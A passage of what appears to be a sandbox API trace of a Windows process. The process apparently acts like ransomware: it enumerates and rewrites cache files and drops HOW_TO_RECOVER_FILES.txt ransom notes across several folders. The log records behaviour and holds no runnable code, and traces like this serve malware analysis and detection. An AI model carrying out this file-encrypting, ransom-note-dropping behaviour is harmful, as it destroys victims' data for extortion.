"c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\fb0d848f74f70bb2eaa93746d24d9749.gоod")) returned 1 [0184.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0184.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0184.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0184.844] GetFileType (hFile=0x820) returned 0x1 [0184.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0184.844] GetFileType (hFile=0x820) returned 0x1 [0184.844] WriteFile (in: hFile=0x820, lpBuffer=0x366c998*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x366c998*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0184.845] CloseHandle (hObject=0x820) returned 1 [0184.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0184.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x44 [0184.846] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.846] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.846] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x889eb4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0184.846] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xea2c6105, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0184.846] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x335d7adc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 1 [0184.847] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0184.847] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0184.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0184.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0184.847] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x44 [0184.847] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0184.847] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2cb04b8b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2cb04b8b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.847] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x889eb4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0184.848] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xea2c6105, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0184.848] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x335d7adc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 1 [0184.848] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x335d7adc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FB0D848F74F70BB2EAA93746D24D9749", cAlternateFileName="FB0D84~1")) returned 0 [0184.848] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0184.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0184.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0184.848] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x65 [0184.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0184.848] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), fInfoLevelId=0x0, lpFileInformation=0x367c9c0 | out: lpFileInformation=0x367c9c0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x889eb4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x154)) returned 1 [0184.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0184.848] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x65 [0184.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0184.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0184.849] GetFileType (hFile=0x820) returned 0x1 [0184.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0184.849] GetFileType (hFile=0x820) returned 0x1 [0184.849] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x154 [0184.849] ReadFile (in: hFile=0x820, lpBuffer=0x367ce90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x367ce90*, lpNumberOfBytesRead=0x204ec2f8*=0x154, lpOverlapped=0x0) returned 1 [0184.849] CloseHandle (hObject=0x820) returned 1 [0184.947] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157", lpFilePart=0x0) returned 0x65 [0184.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0184.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\57c8edb95df3f0ad4ee2dc2b8cfd4157"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0185.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0185.138] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x65 [0185.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0185.138] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\77ec63bda74bd0d0e0426dc8f8008506"), fInfoLevelId=0x0, lpFileInformation=0x3658ea0 | out: lpFileInformation=0x3658ea0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdfedb1f6, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xea2c6105, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x14a)) returned 1 [0185.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0185.138] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x65 [0185.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0185.138] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\77ec63bda74bd0d0e0426dc8f8008506"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.138] GetFileType (hFile=0x768) returned 0x1 [0185.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0185.139] GetFileType (hFile=0x768) returned 0x1 [0185.139] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x14a [0185.139] ReadFile (in: hFile=0x768, lpBuffer=0x3659368, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3659368*, lpNumberOfBytesRead=0x204ec2f8*=0x14a, lpOverlapped=0x0) returned 1 [0185.139] CloseHandle (hObject=0x768) returned 1 [0186.664] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506", lpFilePart=0x0) returned 0x65 [0186.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0186.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\77ec63bda74bd0d0e0426dc8f8008506"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0186.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0186.667] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x65 [0186.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0186.667] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\fb0d848f74f70bb2eaa93746d24d9749"), fInfoLevelId=0x0, lpFileInformation=0x3831060 | out: lpFileInformation=0x3831060*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xdff01446, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xdff01446, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x335d7adc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x14a)) returned 1 [0186.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0186.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x65 [0186.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0186.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\fb0d848f74f70bb2eaa93746d24d9749"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0186.668] GetFileType (hFile=0x81c) returned 0x1 [0186.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec190) returned 1 [0186.668] GetFileType (hFile=0x81c) returned 0x1 [0186.668] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x204ec3c8 | out: lpFileSizeHigh=0x204ec3c8*=0x0) returned 0x14a [0186.668] ReadFile (in: hFile=0x81c, lpBuffer=0x3831528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec2f8, lpOverlapped=0x0 | out: lpBuffer=0x3831528*, lpNumberOfBytesRead=0x204ec2f8*=0x14a, lpOverlapped=0x0) returned 1 [0186.668] CloseHandle (hObject=0x81c) returned 1 [0186.800] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749", nBufferLength=0x105, lpBuffer=0x204ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749", lpFilePart=0x0) returned 0x65 [0186.800] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec220) returned 1 [0186.800] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\FB0D848F74F70BB2EAA93746D24D9749" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\fb0d848f74f70bb2eaa93746d24d9749"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0186.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204e8c10) returned 1 [0186.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5d [0186.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0186.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0186.805] GetFileType (hFile=0x824) returned 0x1 [0186.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0186.805] GetFileType (hFile=0x824) returned 0x1 [0186.806] WriteFile (in: hFile=0x824, lpBuffer=0x3747608*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3747608*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0186.807] CloseHandle (hObject=0x824) returned 1 [0186.807] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x54 [0186.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0186.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\cryptneturlcache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0186.807] GetFileType (hFile=0x824) returned 0x1 [0186.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0186.807] GetFileType (hFile=0x824) returned 0x1 [0186.808] WriteFile (in: hFile=0x824, lpBuffer=0x374aeb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x374aeb0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0186.809] CloseHandle (hObject=0x824) returned 1 [0186.809] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ed470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0186.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ed990) returned 1 [0186.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Microsoft\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\microsoft\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0186.812] GetFileType (hFile=0x824) returned 0x1 [0186.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed900) returned 1 [0186.812] GetFileType (hFile=0x824) returned 0x1 [0186.813] WriteFile (in: hFile=0x824, lpBuffer=0x374e720*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204eda58, lpOverlapped=0x0 | out: lpBuffer=0x374e720*, lpNumberOfBytesWritten=0x204eda58*=0x5d0, lpOverlapped=0x0) returned 1 [0186.814] CloseHandle (hObject=0x824) returned 1 [0186.814] 